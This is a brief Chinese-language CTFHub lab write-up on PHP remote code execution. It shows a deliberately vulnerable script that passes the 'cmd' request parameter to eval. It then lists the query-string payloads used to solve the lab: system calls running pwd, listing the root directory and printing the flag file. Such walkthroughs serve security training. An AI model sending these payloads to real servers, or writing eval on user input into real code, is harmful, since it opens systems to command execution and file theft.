cctfhub---rce-eval文件执行

eval详解

命令详解

一.eval执行

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

代码中用cmd来接收传入数据

可以将代码传递给cmd来执行

/?cmd=system("pwd")

 system()函数的作用为执行系统命令并输出执行结果 

    执行 pwd 指令可立刻得知您目前所在的工作目录的绝对路径名称

ls :列出目标目录中所有的子目录和文件

发现没有需要文件，此时可查看上一级文件

？cmd=system("ls%20/")

返回上一级后发现目标文件

 打开flag

?cmd=system("cat /flag_26924");//flag名为随机